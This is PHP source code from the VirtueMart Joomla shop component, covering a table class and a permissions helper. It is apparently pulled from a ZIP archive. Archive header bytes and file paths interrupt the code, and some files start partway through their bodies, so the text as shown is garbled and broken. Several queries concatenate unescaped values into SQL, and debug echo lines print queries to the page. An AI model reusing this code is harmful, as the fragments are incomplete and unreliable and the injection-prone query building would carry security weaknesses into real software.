(strpos($this->_tbl,'virtuemart_vmusers')===FALSE) { $q = 'SELECT `virtuemart_vendor_id` FROM `' . $this->_tbl . '` WHERE `' . $this->_tbl_key . '`="' . $this->$tbl_key . '" '; if (!isset(self::$_cache[md5($q)])) { $this->_db->setQuery($q); $virtuemart_vendor_id = $this->_db->loadResult(); } else $virtuemart_vendor_id = self::$_cache[md5($q)]; } else { $q = 'SELECT `virtuemart_vendor_id`,`user_is_vendor` FROM `' . $this->_tbl . '` WHERE `' . $this->_tbl_key . '`="' . $this->$tbl_key . '" '; if (!isset(self::$_cache[md5($q)])) { $this->_db->setQuery($q); $vmuser = $this->_db->loadRow(); } else $vmuser = self::$_cache[md5($q)]; if ($vmuser and count($vmuser) === 2) { $virtuemart_vendor_id = $vmuser[0]; $user_is_vendor = $vmuser[1]; if ($multix == 'none') { if (empty($user_is_vendor)) { $this->virtuemart_vendor_id = 0; } else { $this->virtuemart_vendor_id = 1; } return true; } else { if (!$admin) { $this->virtuemart_vendor_id = $loggedVendorId; return true; } } } else { //New User //vmInfo('We run in multivendor mode and you did not set any vendor for '.$className.' and '.$this->_tbl);//, Set to mainvendor '.$this->virtuemart_vendor_id } } if (!$admin and !empty($virtuemart_vendor_id) and !empty($loggedVendorId) and $loggedVendorId != $virtuemart_vendor_id) { //vmWarn('COM_VIRTUEMART_NOT_SAME_VENDOR',$loggedVendorId,$virtuemart_vendor_id //vmWarn('Stop try to hack this store, you got logged'); vmdebug('Hacking attempt stopped, logged vendor ' . $loggedVendorId . ' but data belongs to ' . $virtuemart_vendor_id); return false; } else if (!$admin) { if ($virtuemart_vendor_id) { $this->virtuemart_vendor_id = $virtuemart_vendor_id; vmdebug('Non admin is storing using loaded vendor_id'); } else { //No id is stored, even users are allowed to use for the storage and vendorId, no change } } else { //Admins are allowed to do anything. We just trhow some messages if (!empty($virtuemart_vendor_id) and $loggedVendorId != $virtuemart_vendor_id) { vmdebug('Admin with vendor id ' . $loggedVendorId . ' is using for storing vendor id ' . $this->virtuemart_vendor_id); } else if (empty($virtuemart_vendor_id)) { if(strpos($this->_tbl,'virtuemart_vendors')===FALSE and strpos($this->_tbl,'virtuemart_vmusers')===FALSE){ vmInfo('We run in multivendor mode and you did not set any vendor for '.$className.' and '.$this->_tbl); } } } } } return true; } /** * As shortcat, Important the & MUST be there, even in php5.3 * * @author Max Milbers * @param array/obj $data input data as assoc array or obj * @param boolean $preload You can preload the data here too preserve not updated data * @return array/obj $data the updated data */ public function bindChecknStore(&$data, $preload = false) { $tblKey = $this->_tbl_key; $ok = true; if ($this->_translatable) { if (!class_exists('VmTableData')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'vmtabledata.php'); $db = JFactory::getDBO(); $langTable = new VmTableData($this->_tbl_lang, $tblKey, $db); $langTable->setPrimaryKey($tblKey); $langData = array(); $langObKeys = array(); $langUniqueKeys = array(); if (is_object($data)) { foreach ($this->_translatableFields as $name) { if (isset($data->$name)) { //We directly store language stuff "escaped" $langData[$name] = htmlentities($data->$name, ENT_QUOTES, "UTF-8"); } else { // $langData[$name] = ''; } unset($this->$name); if (!empty($this->_unique_name[$name])) { $langUniqueKeys[$name] = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_NOT_UNIQUE_NAME', vmText::_('COM_VIRTUEMART_' . strtoupper($name))); unset($this->_unique_name[$name]); $langObKeys[$name] = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY', vmText::_('COM_VIRTUEMART_' . strtoupper($name))); unset($this->_obkeys[$name]); } if (!empty($this->_obkeys[$name])) { $langObKeys[$name] = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY', vmText::_('COM_VIRTUEMART_' . strtoupper($name))); unset($this->_obkeys[$name]); } } // $langTable->$tblKey = $data->$tblKey; } else { foreach ($this->_translatableFields as $name) { if (isset($data[$name])) { //$langData[$name] = $data[$name]; $langData[$name] = htmlentities($data[$name], ENT_QUOTES, "UTF-8"); } else { // $langData[$name] = ''; } unset($this->$name); if (!empty($this->_unique_name[$name])) { $langUniqueKeys[$name] = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_NOT_UNIQUE_NAME', vmText::_('COM_VIRTUEMART_' . strtoupper($name))); unset($this->_unique_name[$name]); $langObKeys[$name] = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY', vmText::_('COM_VIRTUEMART_' . strtoupper($name))); unset($this->_obkeys[$name]); } if (!empty($this->_obkeys[$name])) { $langObKeys[$name] = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY', vmText::_('COM_VIRTUEMART_' . strtoupper($name))); unset($this->_obkeys[$name]); } } // $langTable->$tblKey = $data[$tblKey]; } $langTable->_unique_name = $langUniqueKeys; $langTable->_obkeys = $langObKeys; $langTable->_slugAutoName = $this->_slugAutoName; unset($this->_slugAutoName); $langTable->_slugName = 'slug'; unset($this->_slugName); $langTable->setProperties($langData); $langTable->_translatable = false; //We must check the langtable BEFORE we store the normal table, cause the langtable is often defining if there are enough data to store it (for exmple the name) if ($ok) { //vmdebug('my langtable before bind',$langTable->id); if (!$langTable->bind($data)) { $ok = false; $msg = 'bind'; // vmdebug('Problem in bind '.get_class($this).' '.$this->_db->getErrorMsg()); vmdebug('Problem in bind ' . get_class($this) . ' '); } } if ($ok) { if (!$langTable->check()) { $ok = false; vmdebug('Check returned false ' . get_class($langTable) . ' ' . $this->_tbl . ' ' . $langTable->_db->getErrorMsg()); } } if ($ok) { $this->bindChecknStoreNoLang($data, $preload); $langTable->$tblKey = !empty($this->$tblKey) ? $this->$tblKey : 0; //vmdebug('bindChecknStoreNoLang my $tblKey '.$tblKey.' '.$langTable->$tblKey); if ($ok and $preload) { if (!empty($langTable->$tblKey)) { $id = $langTable->$tblKey; if (!$langTable->load($id)) { $ok = false; vmdebug('Preloading of language table failed, no id given, cannot store ' . $this->_tbl); } } else { if ($ok) { if (!$langTable->bind($data)) { $ok = false; vmdebug('Problem in bind ' . get_class($this) . ' '); } } if ($ok) { if (!$langTable->check()) { $ok = false; vmdebug('Check returned false ' . get_class($langTable) . ' ' . $this->_tbl . ' ' . $langTable->_db->getErrorMsg()); } } } } if ($ok) { if (!$langTable->store()) { $ok = false; // $msg .= ' store'; vmdebug('Problem in store with langtable ' . get_class($langTable) . ' with ' . $tblKey . ' = ' . $this->$tblKey . ' ' . $langTable->_db->getErrorMsg()); } } } } else { if (!$this->bindChecknStoreNoLang($data, $preload)) { $ok = false; } } return $ok; } function bindChecknStoreNoLang(&$data, $preload = false) { $tblKey = $this->_tbl_key; if ($preload) { if (is_object($data)) { if (!empty($data->$tblKey)) { $this->load($data->$tblKey); } } else { if (!empty($data[$tblKey])) { $this->load($data[$tblKey]); } } if ($this->_translatable) { foreach ($this->_translatableFields as $name) { unset($this->$name); } } //vmdebug('bindChecknStoreNoLang language unloaded, why?'); } $ok = true; $msg = ''; if (!$this->bind($data)) { $ok = false; $msg = 'bind'; // vmdebug('Problem in bind '.get_class($this).' '.$this->_db->getErrorMsg()); vmdebug('Problem in bind ' . get_class($this) . ' '); } if ($ok) { if (!$this->checkDataContainsTableFields($data)) { $ok = false; // $msg .= ' developer notice:: checkDataContainsTableFields'; } } if ($ok) { if (!$this->check()) { $ok = false; $msg .= ' check'; vmdebug('Check no lang returned false ' . get_class($this) . ' ' . $this->_db->getErrorMsg()); return false; } } if ($ok) { if (!$this->store($this->_updateNulls)) { $ok = false; $msg .= ' store'; vmdebug('Problem in store ' . get_class($this) . ' ' . $this->_db->getErrorMsg()); return false; } } if (is_object($data)) { $data->$tblKey = !empty($this->$tblKey) ? $this->$tblKey : 0; } else { $data[$tblKey] = !empty($this->$tblKey) ? $this->$tblKey : 0; } // vmdebug('bindChecknStore '.get_class($this).' '.$this->_db->getErrorMsg()); //This should return $ok and not the data, because it is already updated due use of reference return $data; } /** * Description * will make sure that all items in the table are not using the same ordering values * @author stAn * @access public * $where -> limits the categories if a child category of another one */ function fixOrdering($where = '') { $where = $where ? ' WHERE ' . $where : ''; // fast check for duplicities $q = 'SELECT `' . $this->_tbl_key . '` FROM `' . $this->_tbl . '` GROUP BY `' . $this->_orderingKey . '` HAVING COUNT(*) >= 2 ' . $where . ' LIMIT 1'; $this->_db->setQuery($q); $res = $this->_db->loadAssocList(); if (empty($res)) return true; $q = ' SELECT `' . $this->_tbl_key . '` FROM `' . $this->_tbl . '` ' . $where . ' ORDER BY `' . $this->_orderingKey . '` ASC'; $this->_db->setQuery($q, 0, 999999); $res = $this->_db->loadAssocList(); $e = $this->_db->getErrorMsg(); if (!empty($e)) { vmError(get_class($this) . $e); } echo $q . "
      \n"; // no data in the table if (empty($res)) return true; // we will set ordering to 5,10,15,20,25 so there is enough space in between for manual editing $start = 5; // it is not really optimized to load full table into array, a while loop would be better especially when having thousands of categories foreach ($res as $row) { $q = 'UPDATE `' . $this->_tbl . '` SET `' . $this->_orderingKey . '` = ' . (int)$start . ' WHERE `' . $this->_tbl_key . '`= ' . $row[$this->_tbl_key] . ' LIMIT 1'; $this->_db->setQuery($q); $r = $this->_db->execute($q); $start = $start + 5; } } /** * Description * * @author Joomla Team, Max Milbers * @access public * @param $dirn * @param $where */ function move($dirn, $where = '', $orderingkey = 0) { // for some reason this function is not used from categories $this->fixOrdering(); $k = $this->_tbl_key; // problem here was that $this->$k returned (0) $cid = vRequest::getInt($this->_pkeyForm); if (!empty($cid) && (is_array($cid))) { $cid = reset($cid); } else { // either we fix custom fields or fix it here: $cid = vRequest::getVar('virtuemart_custom_id'); if (!empty($cid) && (is_array($cid))) { $cid = reset($cid); } else { vmError(get_class($this) . ' is missing cid information !'); return false; } } // stAn: if somebody knows how to get current `ordering` of selected cid (i.e. virtuemart_userinfo_id or virtuemart_category_id from defined vars, you can review the code below) $q = "SELECT `" . $this->_orderingKey . '` FROM `' . $this->_tbl . '` WHERE `' . $this->_tbl_key . "` = '" . (int)$cid . "' limit 0,1"; if (!isset(self::$_cache[md5($q)])) { $this->_db->setQuery($q); $c_order = $this->_db->loadResult(); // current ordering value of cid } else { $c_order = self::$_cache[md5($q)]; } $this->$orderingkey = $c_order; $e = $this->_db->getErrorMsg(); if (!empty($e)) { vmError(get_class($this) . $e); } // stAn addition: $where .= ' `' . $this->_tbl_key . '` <> ' . (int)$cid . ' '; // explanation: // select one above or under which is not cid and update/set it's ordering of the original cid // could be done with one complex query... but this is more straitforward and the speed is not that much needed in this one if (!empty($orderingkey)) $this->_orderingKey = $orderingkey; if (!in_array($this->_orderingKey, array_keys($this->getProperties()))) { vmError(get_class($this) . ' does not support ordering'); return false; } $k = $this->_tbl_key; // virtuemart_userfield_id column name $orderingKey = $this->_orderingKey; // ordering column name $sql = 'SELECT `' . $this->_tbl_key . '`, `' . $this->_orderingKey . '` FROM ' . $this->_tbl; if ($dirn < 0) { $sql .= ' WHERE `' . $this->_orderingKey . '` <= ' . (int)$c_order; $sql .= ($where ? ' AND ' . $where : ''); $sql .= ' ORDER BY `' . $this->_orderingKey . '` DESC'; } else if ($dirn > 0) { $sql .= ' WHERE `' . $this->_orderingKey . '` >= ' . (int)$c_order; $sql .= ($where ? ' AND ' . $where : ''); $sql .= ' ORDER BY `' . $this->_orderingKey . '`'; } else { $sql .= ' WHERE `' . $this->_orderingKey . '` = ' . (int)$c_order; $sql .= ($where ? ' AND ' . $where : ''); $sql .= ' ORDER BY `' . $this->_orderingKey . '`'; } if (!isset(self::$_cache[md5($sql)])) { $this->_db->setQuery($sql, 0, 1); $row = null; $row = $this->_db->loadObject(); } else $row = self::$_cache[md5($sql)]; if (isset($row)) { // ok, we have a problem here - previous or next item has the same ordering as the current one // we need to fix the ordering be reordering it all if ((int)$row->$orderingKey == $c_order) { // if we fix this while loading the ordering, it will slow down FE } // update the next or previous to have the same ordering as the selected $query = 'UPDATE ' . $this->_tbl . ' SET `' . $this->_orderingKey . '` = ' . (int)$c_order . ' WHERE ' . $this->_tbl_key . ' = ' . (int)$row->$k . ' LIMIT 1'; $this->_db->setQuery($query); echo "\n" . $query . '
      '; if (!$this->_db->execute()) { $err = $this->_db->getErrorMsg(); JError::raiseError(500, get_class($this) . ':: move isset row $row->$k' . $err); } // update the currently selected to have the same ordering as the next or previous $query = 'UPDATE ' . $this->_tbl . ' SET `' . $this->_orderingKey . '` = ' . (int)$row->$orderingKey . ' WHERE ' . $this->_tbl_key . ' = "' . (int)$cid . '" LIMIT 1'; $this->_db->setQuery($query); //echo $query.'
      '; die(); if (!$this->_db->execute()) { $err = $this->_db->getErrorMsg(); JError::raiseError(500, get_class($this) . ':: move isset row $row->$k' . $err); } // stAn, what for is this? $this->ordering = $row->$orderingKey; } else { // stAn: why should we update the same line with the same information when no next or previous found (?) $query = 'UPDATE ' . $this->_tbl . ' SET `' . $this->_orderingKey . '` = ' . (int)$this->$orderingKey . ' WHERE ' . $this->_tbl_key . ' = "' . $this->_db->escape($this->$k) . '" LIMIT 1'; $this->_db->setQuery($query); if (!$this->_db->execute()) { $err = $this->_db->getErrorMsg(); JError::raiseError(500, get_class($this) . ':: move update $this->$k' . $err); } } return true; } /** * Returns the ordering value to place a new item last in its group * * @access public * @param string query WHERE clause for selecting MAX(ordering). */ function getNextOrder($where = '', $orderingkey = 0) { $where = $this->_db->escape($where); $orderingkey = $this->_db->escape($orderingkey); if (!empty($orderingkey)) $this->_orderingKey = $orderingkey; if (!in_array($this->_orderingKey, array_keys($this->getProperties()))) { vmError(get_class($this) . ' does not support ordering'); return false; } $query = 'SELECT MAX(`' . $this->_orderingKey . '`)' . ' FROM ' . $this->_tbl . ($where ? ' WHERE ' . $where : ''); if (!isset(self::$_cache[md5($query)])) { $this->_db->setQuery($query); $maxord = $this->_db->loadResult(); } else $maxord = self::$_cache[md5($query)]; if ($this->_db->getErrorNum()) { vmError(get_class($this) . ' getNextOrder ' . $this->_db->getErrorMsg()); return false; } return $maxord + 1; } /** * Compacts the ordering sequence of the selected records * * @access public * @param string Additional where query to limit ordering to a particular subset of records */ function reorder($where = '', $orderingkey = 0) { $where = $this->_db->escape($where); $orderingkey = $this->_db->escape($orderingkey); if (!empty($orderingkey)) $this->_orderingKey = $orderingkey; $k = $this->_tbl_key; if (!in_array($this->_orderingKey, array_keys($this->getProperties()))) { vmError(get_class($this) . ' does not support ordering'); return false; } if ($this->_tbl == '#__content_frontpage') { $order2 = ", content_id DESC"; } else { $order2 = ""; } $query = 'SELECT ' . $this->_tbl_key . ', ' . $this->_orderingKey . ' FROM ' . $this->_tbl . ' WHERE `' . $this->_orderingKey . '` >= 0' . ($where ? ' AND ' . $where : '') . ' ORDER BY `' . $this->_orderingKey . '` ' . $order2; $this->_db->setQuery($query); if (!($orders = $this->_db->loadObjectList())) { vmError(get_class($this) . ' reorder ' . $this->_db->getErrorMsg()); return false; } $orderingKey = $this->_orderingKey; // compact the ordering numbers for ($i = 0, $n = count($orders); $i < $n; $i++) { if ($orders[$i]->$orderingKey >= 0) { if ($orders[$i]->$orderingKey != $i + 1) { $orders[$i]->$orderingKey = $i + 1; $query = 'UPDATE ' . $this->_tbl . ' SET `' . $this->_orderingKey . '` = "' . $this->_db->escape($orders[$i]->$orderingKey) . '" WHERE ' . $k . ' = "' . $this->_db->escape($orders[$i]->$k) . '"'; $this->_db->setQuery($query); $this->_db->execute(); } } } return true; } /** * Checks out a row * * @access public * @param integer The id of the user * @param mixed The primary key value for the row * @return boolean True if successful, or if checkout is not supported */ function checkout($who, $oid = null) { if (!in_array('locked_by', array_keys($this->getProperties()))) { return true; } $k = $this->_tbl_key; if ($oid !== null) { $this->$k = $oid; } $config = JFactory::getConfig(); $siteOffset = $config->get('offset'); $date = JFactory::getDate('now', $siteOffset); $time = $date->toSql(); $query = 'UPDATE ' . $this->_db->quoteName($this->_tbl) . ' SET locked_by = ' . (int)$who . ', locked_on = "' . $this->_db->escape($time) . '" WHERE ' . $this->_tbl_key . ' = "' . $this->_db->escape($this->$k) . '"'; $this->_db->setQuery($query); $this->locked_by = $who; $this->locked_on = $time; return $this->_db->execute(); } /** * Checks in a row * * @access public * @param mixed The primary key value for the row * @return boolean True if successful, or if checkout is not supported */ function checkin($oid = null) { if (!( in_array('locked_by', array_keys($this->getProperties())) || in_array('locked_on', array_keys($this->getProperties())) ) ) { return true; } $k = $this->_tbl_key; if ($oid !== null) { $this->$k = $oid; } if ($this->$k == NULL) { return false; } $query = 'UPDATE ' . $this->_db->quoteName($this->_tbl) . ' SET locked_by = 0, locked_on = "' . $this->_db->escape($this->_db->getNullDate()) . '" WHERE ' . $this->_tbl_key . ' = "' . $this->_db->escape($this->$k) . '"'; $this->_db->setQuery($query); $this->locked_by = 0; $this->locked_on = ''; return $this->_db->execute(); } /** * Check if an item is checked out * * This function can be used as a static function too, when you do so you need to also provide the * a value for the $against parameter. * * @static * @access public * @param integer $with The userid to preform the match with, if an item is checked out * by this user the function will return false * @param integer $against The userid to perform the match against when the function is used as * a static function. * @return boolean */ function isCheckedOut($with = 0, $against = null) { if (isset($this) && is_a($this, 'JTable') && is_null($against)) { $against = $this->get('locked_by'); } //item is not checked out, or being checked out by the same user if (!$against || $against == $with) { return false; } $session = JTable::getInstance('session'); return $session->exists($against); } /** * toggle (0/1) a field * or invert by $val * @author impleri * @author Max Milbers * @param string $field the field to toggle * @param boolean $val field value (0/1) * @todo could make this multi-id as well... */ function toggle($field, $val = NULL) { if ($val === NULL) { $this->$field = !$this->$field; } else { $this->$field = $val; } $k = $this->_tbl_key; $q = 'UPDATE `' . $this->_tbl . '` SET `' . $field . '` = "' . $this->$field . '" WHERE `' . $k . '` = "' . $this->$k . '" '; $this->_db->setQuery($q); if (!$res = $this->_db->execute()) { vmError('There was an error toggling ' . $field, $this->_db->getErrorMsg()); } else { vmdebug('Toggled '.$q ); } return $res; } public function resetErrors() { $this->_errors = array(); } function delete($oid = null, $where = 0) { $k = $this->_tbl_key; if ($oid) { $this->$k = intval($oid); } $mainTableError = $this->checkAndDelete($this->_tbl, $where); if ($this->_translatable) { $langs = VmConfig::get('active_languages', array()); if (!$langs) $langs[] = VmConfig::$vmlang; if (!class_exists('VmTableData')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'vmtabledata.php'); foreach ($langs as $lang) { $lang = strtolower(strtr($lang, '-', '_')); $langError = $this->checkAndDelete($this->_tbl . '_' . $lang); $mainTableError = min($mainTableError, $langError); } } return $mainTableError; } // author stAn // returns true when mysql version is larger than 5.0 function isMysql51Plus() { $r = $this->getMysqlVersion(); return version_compare($r, '5.1.0', '>='); } // author: stan, added in 2.0.16+ // returns mysql version for query optimalization function getMysqlVersion() { $q = 'select version()'; if (!isset(self::$_cache[md5($q)])) { $this->_db->setQuery($q); return $this->_db->loadResult(); } else return self::$_cache[md5($q)]; } function checkAndDelete($table, $whereField = 0, $andWhere = '') { $ok = 1; $k = $this->_tbl_key; if ($whereField !== 0) { $whereKey = $whereField; } else { $whereKey = $this->_pkey; } $query = 'SELECT `' . $this->_tbl_key . '` FROM `' . $table . '` WHERE `' . $whereKey . '` = "' . $this->$k . '" '.$andWhere; $this->_db->setQuery($query); // vmdebug('checkAndDelete',$query); $list = $this->_db->loadColumn(); // vmdebug('checkAndDelete',$list); if ($list) { foreach ($list as $row) { $ok = $row; $query = 'DELETE FROM `' . $table . '` WHERE ' . $this->_tbl_key . ' = "' . $row . '"'; $this->_db->setQuery($query); if (!$this->_db->execute()) { $this->setError($this->_db->getErrorMsg()); vmError('checkAndDelete ' . $this->_db->getErrorMsg()); $ok = 0; } } } return $ok; } /** * Add, change or drop userfields * * @param string $_act Action: ADD, DROP or CHANGE (synonyms available, see the switch cases) * @param string $_col Column name * @param string $_type fieldtype * @param string $_col2 Second Column name * @return boolean True on success * @author Oscar van Eijk * * stAn - note: i disabled deleting of user data when a column (shopper field) is deleted. If a deletion of specific user or order is needed, it can be done separatedly * The column if not set with $_col2 will be renamed to ORIGINALNAME_DELETED_{timestamp()} and depending on mysql version it's definition will change */ function _modifyColumn($_act, $_col, $_type = '', $_col2 = '') { $_sql = 'ALTER TABLE `' . $this->_tbl . '` '; $_check_act = strtoupper(substr($_act, 0, 3)); //Check if a column is there //$columns = $this->_db->getTableColumns($this->_tbl); $columns = $this->showFullColumns('Field','Type',false); $res = array_key_exists($_col, $columns); if ($_check_act != 'ADD' and $_check_act != 'CRE') { if (!$res) { vmdebug('_modifyColumn Command was ' . $_check_act . ' column does not exist, changed to ADD'); $_check_act = 'ADD'; } } else { if ($res) { vmdebug('_modifyColumn Command was ' . $_check_act . ' column already exists, changed to MOD'); $_check_act = 'UPD'; } } switch ($_check_act) { case 'ADD': case 'CRE': // Create $_sql .= "ADD $_col $_type "; break; case 'DRO': // Drop case 'DEL': // Delete //stAn, i strongly do not recommend to delete customer information only because a field was deleted if (empty($_col2)){ $_col2 = $_col . '_DELETED_' . time(); vmInfo('Be aware the column of table '.$this->_tbl.' is not deleted, only renamed to '.$_col2); } if (!$this->isMysql51Plus()) { if (empty($_type)) $_type = 'TEXT CHARACTER SET utf8'; } // NOT NULL not allowed for deleted columns //$t_type = str_ireplace(' NOT ', '', $_type); $_sql .= "CHANGE $_col $_col2 $_type "; //was: $_sql .= "DROP $_col "; break; case 'MOD': // Modify case 'UPD': // Update case 'CHA': // Change if (empty($col2)) $_col2 = $_col; // change type only $_sql .= "CHANGE $_col $_col2 $_type "; break; } $this->_db->setQuery($_sql); $this->_db->execute(); if ($this->_db->getErrorNum() != 0) { vmError(get_class($this) . '::modify table - ' . $this->_db->getErrorMsg() . '
      values: action ' . $_act . ', columname: ' . $_col . ', type: ' . $_type . ', columname2: ' . $_col2); return false; } vmdebug('_modifyColumn executed successfully ' . $_sql); return true; } } PK@y>\'#5components/com_virtuemart/helpers/reportfunctions.phpnuW+A_db = JFactory::getDBO(); } } //pure php no tagPK@y>\ 4 41components/com_virtuemart/helpers/permissions.phpnuW+A_db = JFactory::getDBO(); $this->_perms = $this->doAuthentication(); $user = JFactory::getUser(); } static public function getInstance() { if(!is_object(self::$_instance)){ self::$_instance = new Permissions(); }else { } return self::$_instance; } /** * Get permissions for a user ID * * @param int $virtuemart_user_id the user ID to check. If no user ID is given the currently logged in user will be used. * @return string permissions */ public function getPermissions ($userId=null) { // default to current user if ($userId == null) { $user = JFactory::getUser(); $userId = $user->id; } // only re-run authentication if we have a different user //vmdebug('getPermissions',$this->_virtuemart_user_id,$userId); if ($userId != $this->_virtuemart_user_id) { $perms = $this->doAuthentication($userId); } else { $perms = $this->_perms; } return $perms; } /** * description: Validates if someone is registered customer. * by checking if one has a billing address * parameters: virtuemart_user_id * returns: true if the user has a BT address * false if the user has none * * Check if a user is registered in the shop (=customer) * * @param int $virtuemart_user_id the user ID to check. If no user ID is given the currently logged in user will be used. * @return boolean */ public function isRegisteredCustomer($virtuemart_user_id=0) { if ($virtuemart_user_id == 0) { /* Lets see if we can get the current signed in user */ $user = JFactory::getUser(); if ($user->id == 0) return false; else $virtuemart_user_id = $user->id; } $this->_db = JFactory::getDBO(); /* If the registration type is neither "no registration" nor "optional registration", there *must* be a related Joomla! user, we can join */ if (VmConfig::get('vm_registration_type') != 'NO_REGISTRATION' && VmConfig::get('vm_registration_type') != 'OPTIONAL_REGISTRATION') { $q = "SELECT COUNT(virtuemart_user_id) AS num_rows FROM `#__virtuemart_userinfos`, `#__users` WHERE `id`=`virtuemart_user_id` AND #__virtuemart_userinfos.virtuemart_user_id='" . (int)$virtuemart_user_id . "' AND #__virtuemart_userinfos.address_type='BT'"; } else { $q = "SELECT COUNT(virtuemart_user_id) AS num_rows FROM `#__virtuemart_userinfos` WHERE #__virtuemart_userinfos.virtuemart_user_id='" . (int)$virtuemart_user_id . "' AND #__virtuemart_userinfos.address_type='BT'"; } $this->_db->setQuery($q); return $this->_db->loadResult(); } /** * This function does the basic authentication * for a user in the shop. * It assigns permissions, the name, country, zip and * the shopper group id with the user and the session. * @return array Authentication information */ function doAuthentication ($user_id=null) { $this->_db = JFactory::getDBO(); $session = JFactory::getSession(); $user = JFactory::getUser($user_id); if(!empty($user->id)){ $this->_virtuemart_user_id = $user->id; //We must prevent that Administrators or Managers are 'just' shoppers //TODO rewrite it working correctly with jooomla ACL if(JVM_VERSION === 2 ){ if($user->authorise('core.admin')){ $perm = 'admin'; } } else { if(strpos($user->usertype,'Administrator')!== false){ $perm = 'admin'; } } if(empty($perm)){ if(JVM_VERSION === 2 ){ if($user->groups){ if($user->authorise('core.admin')){ $perm = 'admin'; } else if($user->authorise('core.manage')){ $perm = 'storeadmin'; } else { $perm = 'shopper'; } } else { $perm = 'shopper'; } } else { if(strpos($user->usertype,'Administrator')!== false){ $perm = 'admin'; } else if(strpos($user->usertype,'Manager')!== false){ $perm = 'storeadmin'; } else { $perm = 'shopper'; } } } $this->_is_registered_customer = true; } else { $this->_virtuemart_user_id = 0; $perm = 'shopper'; $this->_is_registered_customer = false; } return $perm; } /** * Validates the permission to do something. * * @param string $perms * @return boolean Check successful or not * @example $perm->check( 'admin,storeadmin' ); * returns true when the user is admin or storeadmin */ public function check($perms) { $user = JFactory::getUser(); if(strpos($perms,',')!==FALSE){ $perms = explode(',',$perms); } else { $perms = array($perms); } foreach($perms as $perm){ if($perm=='admin'){ if($user->authorise('core.admin')){ return true; } } if($perm=='storeadmin'){ if($user->authorise('core.manage')){ return true; } } } return false; /* Set the authorization for use */ // Parse all permissions in argument, comma separated // It is assumed auth_user only has one group per user. /* $p1 = explode(",", $this->_perms); $p2 = explode(",", $perms); // vmdebug('check '.$perms,$p1,$p2); while (list($key1, $value1) = each($p1)) { while (list($key2, $value2) = each($p2)) { if ($value1 == $value2) { return true; } } } return false;*/ } /** * Checks if user is admin or has vendorId=1, * if superadmin, but not a vendor it gives back vendorId=1 (single vendor, but multiuser administrated) * * @author Mattheo Vicini * @author Max Milbers */ public function isSuperVendor(){ $user = JFactory::getUser(); if(!$this->_vendorId){ if(!empty( $user->id)){ $q='SELECT `virtuemart_vendor_id` FROM `#__virtuemart_vmusers` `au` WHERE `au`.`virtuemart_user_id`="' .$user->id.'" AND `au`.`user_is_vendor` = "1" '; $db= JFactory::getDbo(); $db->setQuery($q); $virtuemart_vendor_id = $db->loadResult(); if ($virtuemart_vendor_id) { $this->_vendorId = $virtuemart_vendor_id; } else { $this->_vendorId = 0; } } else { return false; } } if($this->_vendorId!=0){ return $this->_vendorId; } else { if($user->authorise('core.admin', 'com_virtuemart') or $user->authorise('core.manage', 'com_virtuemart') ){ $this->_vendorId = 1; return $this->_vendorId; } } return false; } /** * lists the permission levels in a select box * @author pablo * @param string $name The name of the select element * @param string $group_name The preselected key */ function list_perms( $name, $group_name, $size=1, $multi=false ) { $auth = $_SESSION['auth']; if( $multi ) { $multi = 'multiple="multiple"'; } // Get users current permission value $dvalue = $this->user_groups[$this->_perms]; $perms = $this->getUserGroups(); arsort( $perms ); if( $size==1 ) { $values[0] = JText::_('COM_VIRTUEMART_SELECT'); } foreach($perms as $key => $value) { // Display only those permission that this user can set if ($value >= $dvalue) { $values[$key] = $key; } } if( $size > 1 ) { $name .= '[]'; $values['none'] = JText::_('COM_VIRTUEMART_NO_RESTRICTION'); } echo VmHTML::selectList( $name, $group_name, $values, $size, $multi ); } /** * Here we insert groups that are allowed to view prices * */ function prepareACL() { // The basic ACL integration in Mambo/Joomla is not awesome $child_groups = self::getChildGroups( '#__core_acl_aro_groups', 'g1.virtuemart_shoppergroup_id, g1.name, COUNT(g2.name) AS level', 'g1.name', null, VmConfig::get('vm_price_access_level')); echo '
      '.print_r($child_groups,1).'
      '; foreach( $child_groups as $child_group ) { self::_addToGlobalACL( 'virtuemart', 'prices', 'users', $child_group->name, null, null ); } $admin_groups = self::getChildGroups( '#__core_acl_aro_groups', 'g1.virtuemart_shoppergroup_id, g1.name, COUNT(g2.name) AS level', 'g1.name', null, 'Public Backend' ); foreach( $admin_groups as $child_group ) { self::_addToGlobalACL( 'virtuemart', 'prices', 'users', $child_group->name, null, null ); } } /** * Function from an old Mambo phpgacl integration function * @deprecated (but necessary, sigh!) * @static * @param string $table * @param string $fields * @param string $groupby * @param int $root_id * @param string $root_name * @param boolean $inclusive * @return array */ function getChildGroups($table, $fields, $groupby=null, $root_id=null, $root_name=null, $inclusive=true) { $database = JFactory::getDBO(); $root = new stdClass(); $root->lft = 0; $root->rgt = 0; $fields = str_replace( 'virtuemart_shoppergroup_id', 'id', $fields ); if ($root_id) { } else if ($root_name) { $database->setQuery("SELECT `lft`, `rgt` FROM `".$table."` WHERE `name`='".$root_name."'" ); $root = $database->loadObject(); } $where = ''; if ($root->lft+$root->rgt != 0) { if ($inclusive) { $where = "WHERE g1.lft BETWEEN $root->lft AND $root->rgt"; } else { $where = "WHERE g1.lft BETWEEN $root->lft+1 AND $root->rgt-1"; } } $database->setQuery( "SELECT ".$fields . "\nFROM ".$table." AS g1" . "\nINNER JOIN ".$table." AS g2 ON g1.lft BETWEEN g2.lft AND g2.rgt" . "\n". $where . ($groupby ? "\nGROUP BY ".$groupby : "") . "\nORDER BY g1.lft" ); return $database->loadObjectList(); } /** * This is a temporary function to allow 3PD's to add basic ACL checks for their * modules and components. NOTE: this information will be compiled in the db * in future versions * @static * @param unknown_type $aco_section_value * @param unknown_type $aco_value * @param unknown_type $aro_section_value * @param unknown_type $aro_value * @param unknown_type $axo_section_value * @param unknown_type $axo_value */ function _addToGlobalACL( $aco_section_value, $aco_value, $aro_section_value, $aro_value, $axo_section_value=NULL, $axo_value=NULL ) { global $acl; $acl->acl[] = array( $aco_section_value, $aco_value, $aro_section_value, $aro_value, $axo_section_value, $axo_value ); $acl->acl_count = count( $acl->acl ); } /** * Returns a tree with the children of the root group id * 